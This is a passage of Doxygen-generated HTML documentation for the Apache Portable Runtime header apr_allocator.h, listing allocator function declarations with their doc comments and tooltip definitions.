class="lineno"> 89</span> <span class="comment"> * @param size The size of the mem to allocate (excluding the</span></div> <div class="line"><a name="l00090"></a><span class="lineno"> 90</span> <span class="comment"> * memnode structure)</span></div> <div class="line"><a name="l00091"></a><span class="lineno"> 91</span> <span class="comment"> */</span></div> <div class="line"><a name="l00092"></a><span class="lineno"> 92</span> <a class="code" href="group__apr__platform.html#gad7b91b811a172bfa802603c2fb688f98">APR_DECLARE</a>(<a class="code" href="structapr__memnode__t.html">apr_memnode_t</a> *) <a class="code" href="group__apr__allocator.html#ga7452b0837c2148bd63109f89bbc0c3db">apr_allocator_alloc</a>(<a class="code" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator,</div> <div class="line"><a name="l00093"></a><span class="lineno"> 93</span>  apr_size_t size)</div> <div class="line"><a name="l00094"></a><span class="lineno"> 94</span>  __attribute__((nonnull(1)));</div> <div class="line"><a name="l00095"></a><span class="lineno"> 95</span> <span class="comment"></span></div> <div class="line"><a name="l00096"></a><span class="lineno"> 96</span> <span class="comment">/**</span></div> <div class="line"><a name="l00097"></a><span class="lineno"> 97</span> <span class="comment"> * Free a list of blocks of mem, giving them back to the allocator.</span></div> <div class="line"><a name="l00098"></a><span class="lineno"> 98</span> <span class="comment"> * The list is typically terminated by a memnode with its next field</span></div> <div class="line"><a name="l00099"></a><span class="lineno"> 99</span> <span class="comment"> * set to NULL.</span></div> <div class="line"><a name="l00100"></a><span class="lineno"> 100</span> <span class="comment"> * @param allocator The allocator to give the mem back to</span></div> <div class="line"><a name="l00101"></a><span class="lineno"> 101</span> <span class="comment"> * @param memnode The memory node to return</span></div> <div class="line"><a name="l00102"></a><span class="lineno"> 102</span> <span class="comment"> */</span></div> <div class="line"><a name="l00103"></a><span class="lineno"> 103</span> <a class="code" href="group__apr__platform.html#gad7b91b811a172bfa802603c2fb688f98">APR_DECLARE</a>(<span class="keywordtype">void</span>) <a class="code" href="group__apr__allocator.html#ga124e48339838213fd5e160a4125cb7e8">apr_allocator_free</a>(<a class="code" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator,</div> <div class="line"><a name="l00104"></a><span class="lineno"> 104</span>  <a class="code" href="structapr__memnode__t.html">apr_memnode_t</a> *memnode)</div> <div class="line"><a name="l00105"></a><span class="lineno"> 105</span>  __attribute__((nonnull(1,2)));</div> <div class="line"><a name="l00106"></a><span class="lineno"> 106</span>  <span class="comment"></span></div> <div class="line"><a name="l00107"></a><span class="lineno"> 107</span> <span class="comment">/**</span></div> <div class="line"><a name="l00108"></a><span class="lineno"> 108</span> <span class="comment"> * Get the true size that would be allocated for the given size (including</span></div> <div class="line"><a name="l00109"></a><span class="lineno"> 109</span> <span class="comment"> * the header and alignment).</span></div> <div class="line"><a name="l00110"></a><span class="lineno"> 110</span> <span class="comment"> * @param list The allocator from which to the memory would be allocated</span></div> <div class="line"><a name="l00111"></a><span class="lineno"> 111</span> <span class="comment"> * @param size The size to align</span></div> <div class="line"><a name="l00112"></a><span class="lineno"> 112</span> <span class="comment"> * @return The aligned size (or zero on apr_size_t overflow)</span></div> <div class="line"><a name="l00113"></a><span class="lineno"> 113</span> <span class="comment"> */</span></div> <div class="line"><a name="l00114"></a><span class="lineno"> 114</span> <a class="code" href="group__apr__platform.html#gad7b91b811a172bfa802603c2fb688f98">APR_DECLARE</a>(apr_size_t) <a class="code" href="group__apr__allocator.html#ga85162b4fb7e68b76dd70beb46947b9e5">apr_allocator_align</a>(<a class="code" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator,</div> <div class="line"><a name="l00115"></a><span class="lineno"> 115</span>  apr_size_t size);</div> <div class="line"><a name="l00116"></a><span class="lineno"> 116</span> </div> <div class="line"><a name="l00117"></a><span class="lineno"> 117</span> <span class="preprocessor">#include "apr_pools.h"</span></div> <div class="line"><a name="l00118"></a><span class="lineno"> 118</span> <span class="preprocessor"></span><span class="comment"></span></div> <div class="line"><a name="l00119"></a><span class="lineno"> 119</span> <span class="comment">/**</span></div> <div class="line"><a name="l00120"></a><span class="lineno"> 120</span> <span class="comment"> * Set the owner of the allocator</span></div> <div class="line"><a name="l00121"></a><span class="lineno"> 121</span> <span class="comment"> * @param allocator The allocator to set the owner for</span></div> <div class="line"><a name="l00122"></a><span class="lineno"> 122</span> <span class="comment"> * @param pool The pool that is to own the allocator</span></div> <div class="line"><a name="l00123"></a><span class="lineno"> 123</span> <span class="comment"> * @remark Typically pool is the highest level pool using the allocator</span></div> <div class="line"><a name="l00124"></a><span class="lineno"> 124</span> <span class="comment"> */</span></div> <div class="line"><a name="l00125"></a><span class="lineno"> 125</span> <span class="comment">/*</span></div> <div class="line"><a name="l00126"></a><span class="lineno"> 126</span> <span class="comment"> * XXX: see if we can come up with something a bit better. Currently</span></div> <div class="line"><a name="l00127"></a><span class="lineno"> 127</span> <span class="comment"> * you can make a pool an owner, but if the pool doesn't use the allocator</span></div> <div class="line"><a name="l00128"></a><span class="lineno"> 128</span> <span class="comment"> * the allocator will never be destroyed.</span></div> <div class="line"><a name="l00129"></a><span class="lineno"> 129</span> <span class="comment"> */</span></div> <div class="line"><a name="l00130"></a><span class="lineno"> 130</span> <a class="code" href="group__apr__platform.html#gad7b91b811a172bfa802603c2fb688f98">APR_DECLARE</a>(<span class="keywordtype">void</span>) <a class="code" href="group__apr__allocator.html#gadf38bbec37c29c24388e95b1c9acad28">apr_allocator_owner_set</a>(<a class="code" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator,</div> <div class="line"><a name="l00131"></a><span class="lineno"> 131</span>  <a class="code" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *pool)</div> <div class="line"><a name="l00132"></a><span class="lineno"> 132</span>  __attribute__((nonnull(1)));</div> <div class="line"><a name="l00133"></a><span class="lineno"> 133</span> <span class="comment"></span></div> <div class="line"><a name="l00134"></a><span class="lineno"> 134</span> <span class="comment">/**</span></div> <div class="line"><a name="l00135"></a><span class="lineno"> 135</span> <span class="comment"> * Get the current owner of the allocator</span></div> <div class="line"><a name="l00136"></a><span class="lineno"> 136</span> <span class="comment"> * @param allocator The allocator to get the owner from</span></div> <div class="line"><a name="l00137"></a><span class="lineno"> 137</span> <span class="comment"> */</span></div> <div class="line"><a name="l00138"></a><span class="lineno"> 138</span> <a class="code" href="group__apr__platform.html#gad7b91b811a172bfa802603c2fb688f98">APR_DECLARE</a>(<a class="code" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *) <a class="code" href="group__apr__allocator.html#ga3cfe48c8717de6495480ce1479d262f1">apr_allocator_owner_get</a>(<a class="code" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator)</div> <div class="line"><a name="l00139"></a><span class="lineno"> 139</span>  __attribute__((nonnull(1)));</div> <div class="line"><a name="l00140"></a><span class="lineno"> 140</span> <span class="comment"></span></div> <div class="line"><a name="l00141"></a><span class="lineno"> 141</span> <span class="comment">/**</span></div> <div class="line"><a name="l00142"></a><span class="lineno"> 142</span> <span class="comment"> * Set the current threshold at which the allocator should start</span></div> <div class="line"><a name="l00143"></a><span class="lineno"> 143</span> <span class="comment"> * giving blocks back to the system.</span></div> <div class="line"><a name="l00144"></a><span class="lineno"> 144</span> <span class="comment"> * @param allocator The allocator to set the threshold on</span></div> <div class="line"><a name="l00145"></a><span class="lineno"> 145</span> <span class="comment"> * @param size The threshold. 0 == unlimited.</span></div> <div class="line"><a name="l00146"></a><span class="lineno"> 146</span> <span class="comment"> */</span></div> <div class="line"><a name="l00147"></a><span class="lineno"> 147</span> <a class="code" href="group__apr__platform.html#gad7b91b811a172bfa802603c2fb688f98">APR_DECLARE</a>(<span class="keywordtype">void</span>) <a class="code" href="group__apr__allocator.html#ga1d45cb6dbe69ba25dee0ec5f4e031d60">apr_allocator_max_free_set</a>(<a class="code" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator,</div> <div class="line"><a name="l00148"></a><span class="lineno"> 148</span>  apr_size_t size)</div> <div class="line"><a name="l00149"></a><span class="lineno"> 149</span>  __attribute__((nonnull(1)));</div> <div class="line"><a name="l00150"></a><span class="lineno"> 150</span> </div> <div class="line"><a name="l00151"></a><span class="lineno"> 151</span> <span class="preprocessor">#include "apr_thread_mutex.h"</span></div> <div class="line"><a name="l00152"></a><span class="lineno"> 152</span> <span class="preprocessor"></span></div> <div class="line"><a name="l00153"></a><span class="lineno"> 153</span> <span class="preprocessor">#if APR_HAS_THREADS</span></div> <div class="line"><a name="l00154"></a><span class="lineno"> 154</span> <span class="preprocessor"></span><span class="comment">/**</span></div> <div class="line"><a name="l00155"></a><span class="lineno"> 155</span> <span class="comment"> * Set a mutex for the allocator to use</span></div> <div class="line"><a name="l00156"></a><span class="lineno"> 156</span> <span class="comment"> * @param allocator The allocator to set the mutex for</span></div> <div class="line"><a name="l00157"></a><span class="lineno"> 157</span> <span class="comment"> * @param mutex The mutex</span></div> <div class="line"><a name="l00158"></a><span class="lineno"> 158</span> <span class="comment"> */</span></div> <div class="line"><a name="l00159"></a><span class="lineno"> 159</span> <a class="code" href="group__apr__platform.html#gad7b91b811a172bfa802603c2fb688f98">APR_DECLARE</a>(<span class="keywordtype">void</span>) <a class="code" href="group__apr__allocator.html#gab803d74f56683004f7ec384ced210dd5">apr_allocator_mutex_set</a>(<a class="code" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator,</div> <div class="line"><a name="l00160"></a><span class="lineno"> 160</span>  <a class="code" href="group__apr__thread__mutex.html#ga95712060ba3a192036416e1ccef1db75">apr_thread_mutex_t</a> *mutex)</div> <div class="line"><a name="l00161"></a><span class="lineno"> 161</span>  __attribute__((nonnull(1)));</div> <div class="line"><a name="l00162"></a><span class="lineno"> 162</span> <span class="comment"></span></div> <div class="line"><a name="l00163"></a><span class="lineno"> 163</span> <span class="comment">/**</span></div> <div class="line"><a name="l00164"></a><span class="lineno"> 164</span> <span class="comment"> * Get the mutex currently set for the allocator</span></div> <div class="line"><a name="l00165"></a><span class="lineno"> 165</span> <span class="comment"> * @param allocator The allocator</span></div> <div class="line"><a name="l00166"></a><span class="lineno"> 166</span> <span class="comment"> */</span></div> <div class="line"><a name="l00167"></a><span class="lineno"> 167</span> <a class="code" href="group__apr__platform.html#gad7b91b811a172bfa802603c2fb688f98">APR_DECLARE</a>(<a class="code" href="group__apr__thread__mutex.html#ga95712060ba3a192036416e1ccef1db75">apr_thread_mutex_t</a> *) <a class="code" href="group__apr__allocator.html#ga38599aa9f1330846a2d2b25ec5c8d9c9">apr_allocator_mutex_get</a>(</div> <div class="line"><a name="l00168"></a><span class="lineno"> 168</span>  <a class="code" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator)</div> <div class="line"><a name="l00169"></a><span class="lineno"> 169</span>  __attribute__((nonnull(1)));</div> <div class="line"><a name="l00170"></a><span class="lineno"> 170</span> </div> <div class="line"><a name="l00171"></a><span class="lineno"> 171</span> <span class="preprocessor">#endif </span><span class="comment">/* APR_HAS_THREADS */</span><span class="preprocessor"></span></div> <div class="line"><a name="l00172"></a><span class="lineno"> 172</span> <span class="preprocessor"></span><span class="comment"></span></div> <div class="line"><a name="l00173"></a><span class="lineno"> 173</span> <span class="comment">/** @} */</span></div> <div class="line"><a name="l00174"></a><span class="lineno"> 174</span> </div> <div class="line"><a name="l00175"></a><span class="lineno"> 175</span> <span class="preprocessor">#ifdef __cplusplus</span></div> <div class="line"><a name="l00176"></a><span class="lineno"> 176</span> <span class="preprocessor"></span>}</div> <div class="line"><a name="l00177"></a><span class="lineno"> 177</span> <span class="preprocessor">#endif</span></div> <div class="line"><a name="l00178"></a><span class="lineno"> 178</span> <span class="preprocessor"></span></div> <div class="line"><a name="l00179"></a><span class="lineno"> 179</span> <span class="preprocessor">#endif </span><span class="comment">/* !APR_ALLOCATOR_H */</span><span class="preprocessor"></span></div> <div class="ttc" id="structapr__memnode__t_html_a35c9bf71f1cc680929f857176b547a05"><div class="ttname"><a href="structapr__memnode__t.html#a35c9bf71f1cc680929f857176b547a05">apr_memnode_t::endp</a></div><div class="ttdeci">char * endp</div><div class="ttdef"><b>Definition:</b> apr_allocator.h:60</div></div> <div class="ttc" id="structapr__memnode__t_html_af63769f30f6eb9d72e4b24050bd7a9d9"><div class="ttname"><a href="structapr__memnode__t.html#af63769f30f6eb9d72e4b24050bd7a9d9">apr_memnode_t::free_index</a></div><div class="ttdeci">apr_uint32_t free_index</div><div class="ttdef"><b>Definition:</b> apr_allocator.h:58</div></div> <div class="ttc" id="group__apr__thread__mutex_html_ga95712060ba3a192036416e1ccef1db75"><div class="ttname"><a href="group__apr__thread__mutex.html#ga95712060ba3a192036416e1ccef1db75">apr_thread_mutex_t</a></div><div class="ttdeci">struct apr_thread_mutex_t apr_thread_mutex_t</div><div class="ttdef"><b>Definition:</b> apr_thread_mutex.h:41</div></div> <div class="ttc" id="structapr__memnode__t_html_a863e7980225e46678881271c4c803e4c"><div class="ttname"><a href="structapr__memnode__t.html#a863e7980225e46678881271c4c803e4c">apr_memnode_t::first_avail</a></div><div class="ttdeci">char * first_avail</div><div class="ttdef"><b>Definition:</b> apr_allocator.h:59</div></div> <div class="ttc" id="structapr__memnode__t_html"><div class="ttname"><a href="structapr__memnode__t.html">apr_memnode_t</a></div><div class="ttdef"><b>Definition:</b> apr_allocator.h:54</div></div> <div class="ttc" id="group__apr__allocator_html_ga1ceabfd30fcfc455e47d052d2a24244b"><div class="ttname"><a href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a></div><div class="ttdeci">struct apr_allocator_t apr_allocator_t</div><div class="ttdef"><b>Definition:</b> apr_allocator.h:41</div></div> <div class="ttc" id="group__apr__allocator_html_ga704529f6b26279ad1c48d5e8372d859c"><div class="ttname"><a href="group__apr__allocator.html#ga704529f6b26279ad1c48d5e8372d859c">apr_allocator_destroy</a></div><div class="ttdeci">void apr_allocator_destroy(apr_allocator_t *allocator)</div></div> <div class="ttc" id="apr__want_8h_html"><div class="ttname"><a href="apr__want_8h.html">apr_want.h</a></div><div class="ttdoc">APR Standard Headers Support. </div></div> <div class="ttc" id="structapr__memnode__t_html_a07dd84ca152164d6bc283dbce99f8f78"><div class="ttname"><a href="structapr__memnode__t.html#a07dd84ca152164d6bc283dbce99f8f78">apr_memnode_t::next</a></div><div class="ttdeci">apr_memnode_t * next</div><div class="ttdef"><b>Definition:</b> apr_allocator.h:55</div></div> <div class="ttc" id="group__apr__platform_html_gad7b91b811a172bfa802603c2fb688f98"><div class="ttname"><a href="group__apr__platform.html#gad7b91b811a172bfa802603c2fb688f98">APR_DECLARE</a></div><div class="ttdeci">#define APR_DECLARE(type)</div><div class="ttdef"><b>Definition:</b> apr.h:480</div></div> <div class="ttc" id="structapr__memnode__t_html_a6188325f9e1cbcafcb0a65b7e41881a1"><div class="ttname"><a href="structapr__memnode__t.html#a6188325f9e1cbcafcb0a65b7e41881a1">apr_memnode_t::index</a></div><div class="ttdeci">apr_uint32_t index</div><div class="ttdef"><b>Definition:</b> apr_allocator.h:57</div></div> <div class="ttc" id="group__apr__allocator_html_gadf38bbec37c29c24388e95b1c9acad28"><div class="ttname"><a href="group__apr__allocator.html#gadf38bbec37c29c24388e95b1c9acad28">apr_allocator_owner_set</a></div><div class="ttdeci">void apr_allocator_owner_set(apr_allocator_t *allocator, apr_pool_t *pool)</div></div> <div class="ttc" id="group__apr__allocator_html_ga7452b0837c2148bd63109f89bbc0c3db"><div class="ttname"><a href="group__apr__allocator.html#ga7452b0837c2148bd63109f89bbc0c3db">apr_allocator_alloc</a></div><div class="ttdeci">apr_memnode_t * apr_allocator_alloc(apr_allocator_t *allocator, apr_size_t size)</div></div> <div class="ttc" id="apr__errno_8h_html"><div class="ttname"><a href="apr__errno_8h.html">apr_errno.h</a></div><div class="ttdoc">APR Error Codes. </div></div> <div class="ttc" id="group__apr__allocator_html_ga124e48339838213fd5e160a4125cb7e8"><div class="ttname"><a href="group__apr__allocator.html#ga124e48339838213fd5e160a4125cb7e8">apr_allocator_free</a></div><div class="ttdeci">void apr_allocator_free(apr_allocator_t *allocator, apr_memnode_t *memnode)</div></div> <div class="ttc" id="apr_8h_html"><div class="ttname"><a href="apr_8h.html">apr.h</a></div><div class="ttdoc">APR Platform Definitions. </div></div> <div class="ttc" id="group__apr__allocator_html_ga85162b4fb7e68b76dd70beb46947b9e5"><div class="ttname"><a href="group__apr__allocator.html#ga85162b4fb7e68b76dd70beb46947b9e5">apr_allocator_align</a></div><div class="ttdeci">apr_size_t apr_allocator_align(apr_allocator_t *allocator, apr_size_t size)</div></div> <div class="ttc" id="group__apr__allocator_html_gaf834f409a34b7f8656c045cff02fd953"><div class="ttname"><a href="group__apr__allocator.html#gaf834f409a34b7f8656c045cff02fd953">apr_allocator_create</a></div><div class="ttdeci">apr_status_t apr_allocator_create(apr_allocator_t **allocator)</div></div> <div class="ttc" id="group__apr__allocator_html_ga38599aa9f1330846a2d2b25ec5c8d9c9"><div class="ttname"><a href="group__apr__allocator.html#ga38599aa9f1330846a2d2b25ec5c8d9c9">apr_allocator_mutex_get</a></div><div class="ttdeci">apr_thread_mutex_t * apr_allocator_mutex_get(apr_allocator_t *allocator)</div></div> <div class="ttc" id="group__apr__pools_html_gaf137f28edcf9a086cd6bc36c20d7cdfb"><div class="ttname"><a href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a></div><div class="ttdeci">struct apr_pool_t apr_pool_t</div><div class="ttdef"><b>Definition:</b> apr_pools.h:60</div></div> <div class="ttc" id="group__apr__errno_html_gaf76ee4543247e9fb3f3546203e590a6c"><div class="ttname"><a href="group__apr__errno.html#gaf76ee4543247e9fb3f3546203e590a6c">apr_status_t</a></div><div class="ttdeci">int apr_status_t</div><div class="ttdef"><b>Definition:</b> apr_errno.h:44</div></div> <div class="ttc" id="group__apr__allocator_html_ga1d45cb6dbe69ba25dee0ec5f4e031d60"><div class="ttname"><a href="group__apr__allocator.html#ga1d45cb6dbe69ba25dee0ec5f4e031d60">apr_allocator_max_free_set</a></div><div class="ttdeci">void apr_allocator_max_free_set(apr_allocator_t *allocator, apr_size_t size)</div></div> <div class="ttc" id="group__apr__allocator_html_ga3cfe48c8717de6495480ce1479d262f1"><div class="ttname"><a href="group__apr__allocator.html#ga3cfe48c8717de6495480ce1479d262f1">apr_allocator_owner_get</a></div><div class="ttdeci">apr_pool_t * apr_allocator_owner_get(apr_allocator_t *allocator)</div></div> <div class="ttc" id="structapr__memnode__t_html_ac68a939c0c3d48498ec0c0fde409c502"><div class="ttname"><a href="structapr__memnode__t.html#ac68a939c0c3d48498ec0c0fde409c502">apr_memnode_t::ref</a></div><div class="ttdeci">apr_memnode_t ** ref</div><div class="ttdef"><b>Definition:</b> apr_allocator.h:56</div></div> <div class="ttc" id="group__apr__allocator_html_gab803d74f56683004f7ec384ced210dd5"><div class="ttname"><a href="group__apr__allocator.html#gab803d74f56683004f7ec384ced210dd5">apr_allocator_mutex_set</a></div><div class="ttdeci">void apr_allocator_mutex_set(apr_allocator_t *allocator, apr_thread_mutex_t *mutex)</div></div> </div><!-- fragment --></div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated by  <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.5 </small></address> </body> </html>
Close